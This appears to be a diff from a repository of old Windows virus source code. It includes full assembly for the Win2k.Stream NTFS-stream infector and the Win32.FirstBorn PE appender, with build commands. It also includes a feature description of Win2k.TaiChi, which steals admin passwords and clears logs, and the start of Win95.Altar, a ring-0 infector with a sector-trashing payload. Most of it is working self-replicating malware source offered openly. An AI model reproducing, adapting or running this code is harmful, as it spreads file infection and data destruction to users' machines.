dwY DWORD ?
|
||||
dwXSize DWORD ?
|
||||
dwYSize DWORD ?
|
||||
dwXCountChars DWORD ?
|
||||
dwYCountChars DWORD ?
|
||||
dwFillAttribute DWORD ?
|
||||
dwFlags DWORD ?
|
||||
wShowWindow WORD ?
|
||||
cbReserved2 WORD ?
|
||||
lpReserved2 DWORD ?
|
||||
hStdInput DWORD ?
|
||||
hStdOutput DWORD ?
|
||||
hStdError DWORD ?
|
||||
STARTUPINFO ENDS
|
||||
PROCESS_INFORMATION STRUCT
|
||||
hProcess DWORD ?
|
||||
hThread DWORD ?
|
||||
dwProcessId DWORD ?
|
||||
dwThreadId DWORD ?
|
||||
PROCESS_INFORMATION ENDS
|
||||
|
||||
|
||||
@pushvar macro variable, empty ;macro for pushing variablez
|
||||
local next_instr
|
||||
ifnb <empty>
|
||||
%out too much arguments in macro '@pushvar'
|
||||
.err
|
||||
endif
|
||||
call next_instr
|
||||
variable
|
||||
next_instr:
|
||||
endm
|
||||
|
||||
|
||||
.data
|
||||
|
||||
extExe db '*.exe',0 ;search mask
|
||||
|
||||
fHandle dd ? ;file search handle
|
||||
file_name db MAX_PATH dup(?) ;actual program name
|
||||
db MAX_PATH dup(?)
|
||||
file_name2 db MAX_PATH dup(?) ;temprorary file
|
||||
db 4 dup (?)
|
||||
WFD WIN32_FIND_DATA ? ;win32 find data
|
||||
proc_info PROCESS_INFORMATION <> ;used by CreateProcessA
|
||||
startup_info STARTUPINFO <> ;...
|
||||
.code
|
||||
Start: ;start of virus
|
||||
call GetVersion ;get OS version
|
||||
cmp al,5 ;5 = Win2000
|
||||
jnz msgBox ;quit if not Win2000
|
||||
|
||||
mov edi,offset file_name
|
||||
push MAX_PATH
|
||||
push edi
|
||||
push 0
|
||||
call GetModuleFileNameA ;get path+filename of actual
|
||||
;program
|
||||
push offset WFD
|
||||
push offset extExe
|
||||
call FindFirstFileA ;find first file to infect
|
||||
test eax,eax
|
||||
jz end_host
|
||||
mov [fHandle],eax ;save handle
|
||||
|
||||
|
||||
search_loop:
|
||||
call infect ;try to infect file
|
||||
|
||||
push offset WFD
|
||||
push dword ptr [fHandle]
|
||||
call FindNextFileA ;try to find next file
|
||||
test eax,eax
|
||||
jne search_loop ;and infect it
|
||||
|
||||
push dword ptr [fHandle]
|
||||
call FindClose ;close file search handle
|
||||
|
||||
end_host:
|
||||
mov esi,offset file_name ;get our filename
|
||||
push esi
|
||||
@endsz
|
||||
dec esi
|
||||
mov edi,esi
|
||||
mov eax,"RTS:" ;append there :"STR" stream
|
||||
stosd ;name
|
||||
pop esi
|
||||
|
||||
call GetCommandLineA ;get command line
|
||||
xchg eax,edi ;to EDI
|
||||
|
||||
;esi - app name
|
||||
;edi - cmd line
|
||||
xor eax,eax
|
||||
push offset proc_info
|
||||
push offset startup_info
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push edi
|
||||
push esi
|
||||
call CreateProcessA ;jump to host code
|
||||
xchg eax,ecx
|
||||
jecxz msgBox ;if error, show message box
|
||||
|
||||
end_app:
|
||||
push 0
|
||||
call ExitProcess ;exit
|
||||
|
||||
msgBox: push 1000h ;show some lame msg box :)
|
||||
@pushsz "Win2k.Stream by Benny/29A & Ratter" ;copyleft :]
|
||||
@pushsz "This cell has been infected by [Win2k.Stream] virus!"
|
||||
push 0 ;with name of virus and authorz
|
||||
call MessageBoxA
|
||||
jmp end_app
|
||||
|
||||
|
||||
|
||||
infect: push offset [WFD.WFD_szFileName]
|
||||
call GetFileAttributesA ;check if the file is NTFS
|
||||
test eax,800h ;compressed = already infected
|
||||
jz next_infect
|
||||
ret ;quit then
|
||||
|
||||
next_infect:
|
||||
push offset [WFD.WFD_szFileName]
|
||||
mov byte ptr [flagz],OPEN_EXISTING
|
||||
call Create_File ;open found program
|
||||
jz infect_end
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
@pushvar <dd ?>
|
||||
push eax
|
||||
push eax
|
||||
push 4
|
||||
@pushvar <dd 1> ;default compression
|
||||
push FSCTL_SET_COMPRESSION
|
||||
push ebx ;NTFS compress it =
|
||||
call DeviceIoControl ;mark as already infected
|
||||
; = and save disk space :)
|
||||
push ebx
|
||||
call CloseHandle ;close file handle
|
||||
|
||||
mov esi,offset file_name2
|
||||
push esi
|
||||
push 0
|
||||
@pushsz "str"
|
||||
@pushsz "."
|
||||
call GetTempFileNameA ;create name for temp file
|
||||
test eax,eax
|
||||
jz infect_end
|
||||
|
||||
mov edi,offset [WFD.WFD_szFileName]
|
||||
push 0
|
||||
push esi
|
||||
push edi
|
||||
call CopyFileA ;copy there victim program
|
||||
test eax,eax
|
||||
jz infect_end
|
||||
|
||||
|
||||
push 0
|
||||
push edi
|
||||
push offset file_name
|
||||
call CopyFileA ;copy ourself to victim program
|
||||
|
||||
push esi
|
||||
|
||||
mov esi,edi
|
||||
@endsz
|
||||
xchg esi,edi
|
||||
dec edi
|
||||
mov eax,"RTS:" ;append :"STR" stream to
|
||||
stosd ;victim program filename
|
||||
xor al,al
|
||||
stosb
|
||||
|
||||
call Create_File ;open victim file
|
||||
jz infect_end
|
||||
|
||||
push 0
|
||||
push ebx
|
||||
call GetFileSize ;get its size
|
||||
xchg eax,edi
|
||||
|
||||
push PAGE_READWRITE
|
||||
push MEM_COMMIT or MEM_RESERVE
|
||||
push edi
|
||||
push 0
|
||||
call VirtualAlloc ;allocate enough memory
|
||||
test eax,eax ;for file content
|
||||
jz infect_end_handle
|
||||
|
||||
xchg eax,esi
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
@pushvar <file_size dd ?>
|
||||
push edi
|
||||
push esi
|
||||
push ebx
|
||||
call ReadFile ;read file content to
|
||||
test eax,eax ;allocated memory
|
||||
jz infect_end_handle
|
||||
|
||||
push ebx
|
||||
call CloseHandle ;close its file handle
|
||||
|
||||
push offset file_name2
|
||||
call DeleteFileA ;delete temporary file
|
||||
|
||||
mov byte ptr [flagz],CREATE_ALWAYS
|
||||
push offset [WFD.WFD_szFileName]
|
||||
call Create_File ;open stream
|
||||
jz infect_end_dealloc
|
||||
|
||||
push 0
|
||||
mov ecx,offset file_size
|
||||
push ecx
|
||||
push dword ptr [ecx]
|
||||
push esi
|
||||
push ebx
|
||||
call WriteFile ;write there victim program
|
||||
test eax,eax
|
||||
jz infect_end_handle
|
||||
|
||||
infect_end_handle:
|
||||
push ebx
|
||||
call CloseHandle ;close its file handle
|
||||
infect_end_dealloc:
|
||||
push MEM_DECOMMIT
|
||||
push dword ptr [file_size]
|
||||
push esi
|
||||
call VirtualFree ;free allocated memory
|
||||
push MEM_RELEASE
|
||||
push 0
|
||||
push esi
|
||||
call VirtualFree ;release reserved part of mem
|
||||
infect_end:
|
||||
ret
|
||||
|
||||
; [esp+4] - file_name
|
||||
Create_File: ;proc for opening file
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
db 6ah
|
||||
flagz db OPEN_EXISTING ;variable file open flag
|
||||
push eax
|
||||
push eax
|
||||
push GENERIC_READ or GENERIC_WRITE
|
||||
push dword ptr [esp+1ch]
|
||||
call CreateFileA ;open file
|
||||
xchg eax,ebx ;handle to EBX
|
||||
inc ebx ;is EBX -1?
|
||||
lahf ;store flags
|
||||
dec ebx ;correct EBX
|
||||
sahf ;restore flags
|
||||
retn 4 ;quit from proc
|
||||
|
||||
end Start ;end of virus
|
31
LegacyWindows/Win2k.TaiChi.asm
Normal file
31
LegacyWindows/Win2k.TaiChi.asm
Normal file
@ -0,0 +1,31 @@
|
||||
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[Description.TXT]ÄÄÄ
|
||||
Win2k.TaiChi by Ratter/29A release #1
|
||||
|
||||
This virus has some special features which I would like to list here:
|
||||
- getting kenel base from PEB
|
||||
- infecting winlogon via which it disables SFP, captures admins
|
||||
passwords and later uses them when logged in as normal user to
|
||||
impersonate admin and working under admin privileges
|
||||
- once runned as admin adds needed privileges to Everyone
|
||||
- disables auditing, clears security event log
|
||||
- uses its own routines for infecting PE exe files on NTFS volumes
|
||||
(ie it accesses NTFS structures to locate and access the file,
|
||||
bypassing security and via this you can even modify files that are
|
||||
normally unmodifiable)
|
||||
- for this it uses emulation of memory mapped files using SEH
|
||||
- because a proof of concept virus it infects one file in directory
|
||||
- everything prepared for using procedure encryption and running length
|
||||
encryption using SEH (routine seh_decode) however not used in this version
|
||||
- it has a payload: installs own bootvid.dll which disables security (via
|
||||
SeAccessCheck patching) via patching the NT kernel runtime and displays
|
||||
29A logo while booting Windows
|
||||
|
||||
Todo:
|
||||
- emulation engine
|
||||
- add procedure encryption and running line encryption
|
||||
- more heavily testing under WinXP and possibly adapting
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[Description.TXT]ÄÄÄ
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[Editor]ÄÄÄ
|
||||
Due the complexity of the source, it has been placed in Binaries folder.
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[Editor]ÄÄÄ
|
542
LegacyWindows/Win32.FirstBorn.txt
Normal file
542
LegacyWindows/Win32.FirstBorn.txt
Normal file
@ -0,0 +1,542 @@
|
||||
;
|
||||
; [ Win9x.FirstBorn Vorgon ]
|
||||
; [ 2560 bytes Target - PE ]
|
||||
; [ 08/10/02 Made in Canada ]
|
||||
;
|
||||
;
|
||||
;
|
||||
;
|
||||
; [ Introduction ]
|
||||
;
|
||||
; After three or four years of programming in asm i decided i was ready for
|
||||
; somthing more challenging. Virus programming had always interested me so
|
||||
; i went searching for a group that would teach me the basics. I found the
|
||||
; group iKX, and T00FiC showed me how to make my first virus which i call
|
||||
; FirstBorn. Its a sucky virus and would never survive in the wild, i only
|
||||
; made it for learning purposes.
|
||||
;
|
||||
; [ The Infection ]
|
||||
;
|
||||
; FirstBorn is a simple PE infector. It only works on Win9x because i could
|
||||
; not get the exception handling part of the Kernel finder working. So it
|
||||
; just assumes the kernel is located at 0BFF70000. I will have this function
|
||||
; working in my next virus and then it can infect NT and 2k. Below is
|
||||
; a break down of what the virus does:
|
||||
;
|
||||
; - Get the delta offset and save the starting location of the virus
|
||||
; - Save registers incase the host program needs them
|
||||
; - Use the GetFunctionAddress procedure to get the kernel32 api function
|
||||
; addreses i need.
|
||||
; - Call the FindHostFile procedure to find a valid PE file to infect.
|
||||
; - Call the GetHeader procedure which reads the PE header into memory
|
||||
; - Call the AddCodeToHost procedure which does many things:
|
||||
; - Writes this program in memory to the end of the host file
|
||||
; - Updates the last section header to include all the data
|
||||
; up to the EOF, Updates its virtual size, and makes it
|
||||
; Readable/Writable/Executable
|
||||
; - Updates the program image size
|
||||
; - Sets the entry point to the virus code
|
||||
; - Adds a signature to location 79h to stop another infection
|
||||
; - Call PutHeader procedure which writes the updated PE Header to the host
|
||||
; - Restore registers for the host program
|
||||
; - Returns control to the host program
|
||||
;
|
||||
;
|
||||
; [ Assembling ]
|
||||
;
|
||||
; tasm32 /ml 1born
|
||||
; tlink32 -x /Tpe /c 1born,1born
|
||||
; editbin /SECTION:CODE,rwe 1born.exe
|
||||
;
|
||||
;
|
||||
|
||||
.386p
|
||||
.model flat, stdcall
|
||||
extrn ExitProcess : PROC
|
||||
.DATA
|
||||
dd 0
|
||||
.CODE
|
||||
Main:
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; Get delta offset and the start location of the virus in memory
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
push ebp
|
||||
call GetDeltaPointer
|
||||
GetDeltaPointer:
|
||||
pop ebp
|
||||
sub ebp, offset GetDeltaPointer
|
||||
|
||||
Call SaveRegisters
|
||||
|
||||
mov [ebp+StartOfCode], ebp
|
||||
lea eax, GetDeltaPointer
|
||||
add [ebp+StartOfCode], eax
|
||||
sub [ebp+StartOfCode], 6 ;get the start address of virus in memory
|
||||
|
||||
mov eax, [ebp+HEP2] ;Set the return to host address
|
||||
mov [ebp+HostEntryPoint], eax
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; Virus Data
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
jmp JumpOverData
|
||||
StartOfCode dd 0
|
||||
VirusSignature dd 0DEADBEEFh
|
||||
|
||||
Handle dd 0
|
||||
NumberOfBytesRead dd 0
|
||||
|
||||
PE_Header db 248 dup(0)
|
||||
LocationOfHeader dd 0
|
||||
|
||||
SearchString db 'c:\windows\*.EXE',0
|
||||
FindHandle dd 0
|
||||
|
||||
Win32_Find_Data:
|
||||
FileAttributes dd 0
|
||||
CreateTime dq 0
|
||||
LastAccessTime dq 0
|
||||
LastWriteTime dq 0
|
||||
FileSizeHigh dd 0
|
||||
FileSizeLow dd 0
|
||||
Reserved0 dd 0
|
||||
Reserved1 dd 0
|
||||
FullFileName db 260 dup(0)
|
||||
AlternateFileName db 14 dup(0)
|
||||
|
||||
SectionHeader:
|
||||
ANSI_Name db 8 dup(0)
|
||||
VirtualSize dd 0
|
||||
VirtualAddress dd 0
|
||||
SizeOfRawData dd 0
|
||||
PointerToRawData dd 0
|
||||
PointerToRelocs dd 0
|
||||
PointerToLinNums dd 0
|
||||
NumberOfRelocs dw 0
|
||||
NumberOfLineNums dw 0
|
||||
Characteristics dd 0
|
||||
|
||||
Kernel32Address dd 0BFF70000h
|
||||
|
||||
szCreateFileA db 'CreateFileA',0
|
||||
_CreateFileA dd 0
|
||||
szWriteFile db 'WriteFile',0
|
||||
_WriteFile dd 0
|
||||
szCloseHandle db 'CloseHandle',0
|
||||
_CloseHandle dd 0
|
||||
szReadFile db 'ReadFile',0
|
||||
_ReadFile dd 0
|
||||
szSetFilePointer db 'SetFilePointer',0
|
||||
_SetFilePointer dd 0
|
||||
szFindFirstFileA db 'FindFirstFileA',0
|
||||
_FindFirstFileA dd 0
|
||||
szFindNextFileA db 'FindNextFileA',0
|
||||
_FindNextFileA dd 0
|
||||
szFindClose db 'FindClose',0
|
||||
_FindClose dd 0
|
||||
|
||||
loc dd 0
|
||||
loc2 dd 0
|
||||
|
||||
HostEntryPoint dd 0
|
||||
HEP2 dd 00401000h
|
||||
|
||||
_EBP dd 0
|
||||
_EDI dd 0
|
||||
_ESI dd 0
|
||||
_EAX dd 0
|
||||
_EBX dd 0
|
||||
_ECX dd 0
|
||||
_EDX dd 0
|
||||
|
||||
FirstGeneration dd 1
|
||||
|
||||
JumpOverData:
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; Get the required API function addresses from the Kernel32.dll
|
||||
;----------------------------------------------------------------------------
|
||||
lea esi, [ebp+szCreateFileA]
|
||||
call GetFunctionAddress
|
||||
mov [ebp+_CreateFileA], eax
|
||||
|
||||
lea esi, [ebp+szWriteFile]
|
||||
call GetFunctionAddress
|
||||
mov [ebp+_WriteFile], eax
|
||||
|
||||
lea esi, [ebp+szCloseHandle]
|
||||
call GetFunctionAddress
|
||||
mov [ebp+_CloseHandle], eax
|
||||
|
||||
lea esi, [ebp+szReadFile]
|
||||
call GetFunctionAddress
|
||||
mov [ebp+_ReadFile], eax
|
||||
|
||||
lea esi, [ebp+szSetFilePointer]
|
||||
call GetFunctionAddress
|
||||
mov [ebp+_SetFilePointer], eax
|
||||
|
||||
lea esi, [ebp+szFindFirstFileA]
|
||||
call GetFunctionAddress
|
||||
mov [ebp+_FindFirstFileA], eax
|
||||
|
||||
lea esi, [ebp+szFindNextFileA]
|
||||
call GetFunctionAddress
|
||||
mov [ebp+_FindNextFileA], eax
|
||||
|
||||
lea esi, [ebp+szFindClose]
|
||||
call GetFunctionAddress
|
||||
mov [ebp+_FindClose], eax
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; Main
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
Call FindHostFile ;Find an exe to infect
|
||||
cmp eax, 0FFFFFFFFh
|
||||
je BackToHost
|
||||
|
||||
lea eax, [ebp+FullFileName] ;Open it
|
||||
mov ebx, 0C0000000h
|
||||
call OpenFile
|
||||
cmp eax, 0FFFFFFFFh
|
||||
je BackToHost
|
||||
|
||||
call GetHeader ;Get its PE header
|
||||
|
||||
call AddCodeToHost ;Add virus to it
|
||||
|
||||
call PutHeader ;Write the updated PE header
|
||||
;to it
|
||||
mov eax, [ebp+Handle]
|
||||
call CloseFile ;Close it
|
||||
|
||||
BackToHost:
|
||||
cmp dword ptr [ebp+FirstGeneration], 1
|
||||
je Exit
|
||||
|
||||
mov eax, dword ptr [ebp+HostEntryPoint]
|
||||
push eax
|
||||
Call RestoreRegisters
|
||||
ret ;return to host
|
||||
|
||||
Exit:
|
||||
push 0
|
||||
Call ExitProcess
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; General Procedures
|
||||
;----------------------------------------------------------------------------
|
||||
SaveRegisters PROC
|
||||
mov [ebp+_EDI], edi
|
||||
mov [ebp+_ESI], esi
|
||||
mov [ebp+_EBX], ebx
|
||||
mov [ebp+_ECX], ecx
|
||||
mov [ebp+_EDX], edx
|
||||
pop eax
|
||||
pop ebx
|
||||
mov [ebp+_EBP], ebx
|
||||
push eax
|
||||
ret
|
||||
SaveRegisters ENDP
|
||||
|
||||
RestoreRegisters PROC
|
||||
mov edi, [ebp+_EDI]
|
||||
mov esi, [ebp+_ESI]
|
||||
mov ebx, [ebp+_EBX]
|
||||
mov ecx, [ebp+_ECX]
|
||||
mov edx, [ebp+_EDX]
|
||||
mov ebp, [ebp+_EBP]
|
||||
ret
|
||||
RestoreRegisters ENDP
|
||||
|
||||
AddCodeToHost PROC
|
||||
push dword ptr [ebp+FirstGeneration]
|
||||
mov dword ptr [ebp+FirstGeneration], 0
|
||||
|
||||
mov eax, dword ptr [ebp+PE_Header+40]
|
||||
add eax, dword ptr [ebp+PE_Header+52] ;add image base
|
||||
mov [ebp+HEP2], eax ;Save original entry point
|
||||
|
||||
mov eax, 0
|
||||
mov ebx, 2
|
||||
Call SeekData ;Seek to EOF
|
||||
mov [ebp+loc], eax
|
||||
add [ebp+loc], 2560 ;loc = new EOF
|
||||
|
||||
mov eax, [ebp+StartOfCode]
|
||||
mov ebx, 2560
|
||||
call PutData ;Write virus to EOF
|
||||
|
||||
xor edx, edx
|
||||
xor eax, eax
|
||||
mov ax, word ptr [ebp+PE_Header+6]
|
||||
dec eax
|
||||
mov ebx, 40
|
||||
mul ebx
|
||||
add eax, [ebp+LocationOfHeader]
|
||||
add eax, 248
|
||||
mov ebx, 0
|
||||
Call SeekData ;Seek to the last section header
|
||||
|
||||
lea eax, [ebp+SectionHeader]
|
||||
mov ebx, 40
|
||||
Call GetData ;Get the last section header
|
||||
|
||||
mov eax, dword ptr [ebp+PE_Header+80]
|
||||
sub eax, [ebp+VirtualSize]
|
||||
mov dword ptr [ebp+PE_Header+80], eax ;subtract the section size from the image size
|
||||
|
||||
mov eax, [ebp+loc]
|
||||
sub eax, [ebp+PointerToRawData]
|
||||
mov [ebp+SizeOfRawData], eax ;Update SizeOfRawData
|
||||
|
||||
shr eax, 12 ;divide eax by 4096
|
||||
shl eax, 12 ;multiply eax by 4096
|
||||
add eax, 8192 ;add 1 - 2k for any unitialized data
|
||||
mov [ebp+VirtualSize], eax ;Update VirtualSize
|
||||
|
||||
mov eax, [ebp+SizeOfRawData]
|
||||
sub eax, 2560
|
||||
add eax, [ebp+VirtualAddress]
|
||||
mov dword ptr [ebp+PE_Header+40], eax ;Set Entry point
|
||||
|
||||
mov [ebp+Characteristics], 0E0000020h ;Make Section Executable/Readable/Writable
|
||||
|
||||
mov eax, -40
|
||||
mov ebx, 1
|
||||
Call SeekData
|
||||
lea eax, [ebp+SectionHeader]
|
||||
mov ebx, 40
|
||||
Call PutData ;Write section header back to file
|
||||
|
||||
mov eax, dword ptr [ebp+PE_Header+80]
|
||||
add eax, [ebp+VirtualSize]
|
||||
mov dword ptr [ebp+PE_Header+80], eax ;update image size
|
||||
|
||||
mov eax, 79h
|
||||
mov ebx, 0
|
||||
Call SeekData
|
||||
lea eax, [ebp+VirusSignature]
|
||||
mov ebx, 4
|
||||
Call PutData ;Write Virus Signature to host
|
||||
;to prevent reinfection
|
||||
pop dword ptr [ebp+FirstGeneration]
|
||||
ret
|
||||
AddCodeToHost ENDP
|
||||
|
||||
FindHostFile PROC
|
||||
|
||||
lea eax, [ebp+Win32_Find_Data]
|
||||
lea ebx, [ebp+SearchString]
|
||||
push eax
|
||||
push ebx
|
||||
Call [ebp+_FindFirstFileA]
|
||||
mov [ebp+FindHandle], eax ;Get First File match
|
||||
|
||||
FindHost:
|
||||
lea eax, [ebp+FullFileName]
|
||||
mov ebx, 0C0000000h
|
||||
call OpenFile
|
||||
cmp eax, 0FFFFFFFFh
|
||||
je FindNext
|
||||
mov [ebp+Handle], eax
|
||||
|
||||
mov eax, 79h
|
||||
mov ebx, 0
|
||||
Call SeekData
|
||||
lea eax, [ebp+loc]
|
||||
mov ebx, 4
|
||||
Call GetData
|
||||
|
||||
mov eax, 3Ch
|
||||
mov ebx, 0
|
||||
Call SeekData
|
||||
lea eax, [ebp+loc2]
|
||||
mov ebx, 4
|
||||
Call GetData
|
||||
mov eax, [ebp+loc2]
|
||||
mov ebx, 0
|
||||
Call SeekData
|
||||
lea eax, [ebp+loc2]
|
||||
mov ebx, 4
|
||||
Call GetData ;Get PE signature
|
||||
|
||||
mov eax, [ebp+Handle]
|
||||
Call CloseFile
|
||||
|
||||
cmp [ebp+loc], 0DEADBEEFh
|
||||
jne NextCheck ;Already Infected?
|
||||
je FindNext
|
||||
|
||||
NextCheck:
|
||||
cmp [ebp+loc2], 00004550h ;Valid PE EXE?
|
||||
je FoundHost
|
||||
|
||||
FindNext:
|
||||
lea eax, [ebp+Win32_Find_Data]
|
||||
push eax
|
||||
push [ebp+FindHandle]
|
||||
Call [ebp+_FindNextFileA]
|
||||
cmp eax, 0 ;No more exes left
|
||||
je HostNotFound
|
||||
jmp FindHost
|
||||
|
||||
FoundHost:
|
||||
push [ebp+FindHandle]
|
||||
Call [ebp+_FindClose]
|
||||
ret
|
||||
|
||||
HostNotFound:
|
||||
push [ebp+FindHandle]
|
||||
Call [ebp+_FindClose]
|
||||
mov eax, 0FFFFFFFFh
|
||||
ret
|
||||
FindHostFile ENDP
|
||||
|
||||
|
||||
GetHeader PROC
|
||||
mov eax, 3Ch
|
||||
mov ebx, 0
|
||||
call SeekData
|
||||
lea eax, [ebp+LocationOfHeader]
|
||||
mov ebx, 4
|
||||
call GetData
|
||||
mov eax, [ebp+LocationOfHeader]
|
||||
mov ebx, 0
|
||||
call SeekData
|
||||
lea eax, [ebp+PE_Header]
|
||||
mov ebx, 248
|
||||
call GetData
|
||||
ret
|
||||
GetHeader ENDP
|
||||
|
||||
PutHeader PROC
|
||||
mov eax, 3Ch
|
||||
mov ebx, 0
|
||||
call SeekData
|
||||
lea eax, [ebp+LocationOfHeader]
|
||||
mov ebx, 4
|
||||
call GetData
|
||||
mov eax, [ebp+LocationOfHeader]
|
||||
mov ebx, 0
|
||||
call SeekData
|
||||
lea eax, [ebp+PE_Header]
|
||||
mov ebx, 248
|
||||
call PutData
|
||||
ret
|
||||
PutHeader ENDP
|
||||
|
||||
GetFunctionAddress PROC
|
||||
mov eax, [ebp+Kernel32Address] ;EAX = Kernel32 Address
|
||||
mov ebx, [eax+3Ch]
|
||||
add ebx, eax
|
||||
add ebx, 120
|
||||
mov ebx, [ebx]
|
||||
add ebx, eax ;EBX = Export Address
|
||||
|
||||
xor edx, edx
|
||||
mov ecx, [ebx+32]
|
||||
add ecx, eax
|
||||
push esi
|
||||
push edx
|
||||
CompareNext:
|
||||
pop edx
|
||||
pop esi
|
||||
inc edx
|
||||
mov edi, [ecx]
|
||||
add edi, eax
|
||||
add ecx, 4
|
||||
push esi
|
||||
push edx
|
||||
CompareName:
|
||||
mov dl, [edi]
|
||||
mov dh, [esi]
|
||||
cmp dl, dh
|
||||
jne CompareNext
|
||||
inc edi
|
||||
inc esi
|
||||
cmp byte ptr [esi], 0
|
||||
je GetAddress
|
||||
jmp CompareName
|
||||
GetAddress:
|
||||
pop edx
|
||||
pop esi
|
||||
dec edx
|
||||
shl edx, 1
|
||||
mov ecx, [ebx+36]
|
||||
add ecx, eax
|
||||
add ecx, edx
|
||||
xor edx, edx
|
||||
mov dx, [ecx]
|
||||
shl edx, 2
|
||||
mov ecx, [ebx+28]
|
||||
add ecx, eax
|
||||
add ecx, edx
|
||||
add eax, [ecx]
|
||||
|
||||
ret
|
||||
GetFunctionAddress ENDP
|
||||
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; File I/O Procedures
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
OpenFile PROC
|
||||
push 00000000h
|
||||
push 00000080h
|
||||
push 00000003h
|
||||
push 00000000h
|
||||
push 00000000h
|
||||
push ebx ;open for read/write
|
||||
push eax
|
||||
call [ebp+_CreateFileA]
|
||||
mov [ebp+Handle], eax
|
||||
ret
|
||||
OpenFile ENDP
|
||||
|
||||
CloseFile PROC
|
||||
push eax
|
||||
call [ebp+_CloseHandle]
|
||||
ret
|
||||
CloseFile ENDP
|
||||
|
||||
SeekData PROC
|
||||
push ebx ; 0 = begin / 1 = current / 2 = end
|
||||
push 0
|
||||
push eax ; location to seek to
|
||||
push [ebp+Handle]
|
||||
call [ebp+_SetFilePointer]
|
||||
ret
|
||||
SeekData ENDP
|
||||
|
||||
GetData PROC
|
||||
lea ecx, [ebp+NumberOfBytesRead]
|
||||
push 00000000h
|
||||
push ecx
|
||||
push ebx
|
||||
push eax
|
||||
push [ebp+Handle]
|
||||
call [ebp+_ReadFile]
|
||||
ret
|
||||
GetData ENDP
|
||||
|
||||
PutData PROC
|
||||
lea ecx, [ebp+NumberOfBytesRead]
|
||||
push 0
|
||||
push ecx
|
||||
push ebx
|
||||
push eax
|
||||
push [ebp+Handle]
|
||||
call [ebp+_WriteFile]
|
||||
ret
|
||||
PutData ENDP
|
||||
|
||||
End Main
|
||||
|
||||
;Wow your actualy still reading? Get a life :p
|
||||
|
539
LegacyWindows/Win95.Altar.asm
Normal file
539
LegacyWindows/Win95.Altar.asm
Normal file
@ -0,0 +1,539 @@
|
||||
;============================================================================
|
||||
;
|
||||
;
|
||||
; NAME: Win95.Altar 1.01
|
||||
; OS: Windoze 95/98.
|
||||
; TYPE: Parasitic resident (VxD) PE-infector.
|
||||
; SIZE: Around 800 bytes.
|
||||
; AUTHOR: T-2000 / Immortal Riot.
|
||||
; E-MAIL: T2000_@hotmail.com
|
||||
; DATE: June 1999.
|
||||
; DESTRUCTIVE: Yeah.
|
||||
;
|
||||
; FEATURES:
|
||||
;
|
||||
; - Gains ring-0 by hacking an IDT-gate.
|
||||
; - Hosts don't increase in size.
|
||||
; - Payload: random sector-trashing.
|
||||
;
|
||||
; Here's some simple ring-0 VxD-virus, just to try-out the idea. The trash-
|
||||
; chance was set rather high, just to fuck beginners :P
|
||||
;
|
||||
;============================================================================
|
||||
|
||||
|
||||
.386p
|
||||
.MODEL FLAT
|
||||
.CODE
|
||||
|
||||
ORG 0
|
||||
|
||||
EXTRN ExitProcess:PROC
|
||||
|
||||
IFSMgr EQU 0040h
|
||||
GetHeap EQU 000Dh
|
||||
UniToBCSPath EQU 0041h
|
||||
InstallFileSystemAPIhook EQU 0067h
|
||||
Ring0_FileIO EQU 0032h
|
||||
IFSFN_OPEN EQU 36
|
||||
R0_WRITEFILE EQU 0D601h
|
||||
|
||||
Virus_Size EQU (Virus_End-START)
|
||||
Virus_Size_Mem EQU (End_Virus_Mem-START)
|
||||
|
||||
|
||||
START:
|
||||
PUSH (1000h+(Carrier-START))
|
||||
Host_EIP = DWORD PTR $-4
|
||||
|
||||
PUSHFD
|
||||
PUSHAD
|
||||
|
||||
CALL Get_Delta
|
||||
|
||||
MOV EAX, EBP
|
||||
|
||||
SUB EAX, 1000h ; Calculate base-address.
|
||||
Virus_RVA = DWORD PTR $-4
|
||||
|
||||
ADD [ESP+(9*4)], EAX ; Add base to the EIP RVA.
|
||||
|
||||
XOR EAX, EAX
|
||||
|
||||
CALL Setup_SEH ; Bail-out without errors
|
||||
; under NT.
|
||||
MOV ESP, [ESP+(2*4)]
|
||||
|
||||
JMP Return_Host
|
||||
|
||||
Setup_SEH: PUSH DWORD PTR FS:[EAX]
|
||||
MOV FS:[EAX], ESP
|
||||
|
||||
PUSH EAX ; Store IDT in EAX.
|
||||
SIDT [ESP-2]
|
||||
POP EAX
|
||||
|
||||
LEA EBX, [EBP+(Ring0_Installation-START)]
|
||||
|
||||
XCHG [EAX+(3*8)], BX ; Hack IDT-gate.
|
||||
ROR EBX, 16
|
||||
XCHG [EAX+(3*8)+6], BX
|
||||
|
||||
INT 3
|
||||
|
||||
MOV [EAX+(3*8)+6], BX ; Restore IDT-gate.
|
||||
ROL EBX, 16
|
||||
MOV [EAX+(3*8)], BX
|
||||
|
||||
Return_Host: XOR EAX, EAX ; Restore the original SEH.
|
||||
|
||||
POP DWORD PTR FS:[EAX]
|
||||
